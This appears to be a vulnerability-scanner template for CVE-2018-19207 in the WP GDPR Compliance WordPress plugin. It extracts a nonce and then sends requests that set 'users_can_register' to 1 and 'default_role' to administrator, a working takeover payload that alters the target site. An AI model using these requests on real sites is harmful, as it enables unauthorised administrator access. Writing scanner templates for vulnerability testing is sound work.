CVE-2018-19207: WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option

id: CVE-2018-19207

info:
  name: WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.
  reference:
    - https://wpvulndb.com/vulnerabilities/9157
    - https://github.com/aeroot/WP-GDPR-Compliance-Plugin-Exploit
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-19207
    cwe-id: CWE-425
    epss-score: 0.87744
    epss-percentile: 0.99438
    cpe: cpe:2.3:a:van-ons:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: van-ons
    product: wp-gdpr-compliance
    framework: wordpress
    publicwww-query: "wp-content/plugins/wp-gdpr-compliance/"
    verified: true
  tags: cve,cve2018,wordpress,wp-plugin,wp-gdpr-compliance,rce

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    extractors:
      - type: regex
        name: nonce
        part: body
        regex:
          - 'var wpgdprcData.*"ajaxSecurity":"([a-z0-9]+)"'
        group: 1
        internal: true

  - raw:

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgdprc_process_action&security={{nonce}}&data={"type":"save_setting","append":false,"option":"users_can_register","value":"1"}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgdprc_process_action&security={{nonce}}&data={"type":"save_setting","append":false,"option":"default_role","value":"administrator"}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"message":""'
          - '"error":""'
        condition: and

      - type: word
        part: content_type_2
        words:
          - 'application/json'
# digest: 4a0a00473045022037fc6455666e240c909fbaf1437c1451e1d1701999ef30dc95896b8b2579ad58022100f89bf503236cc36789a2d6e263fe13a2266b684c3139e1f6ff0c8a5460b05bf0:922c64590222798bb761d5b6d8e72950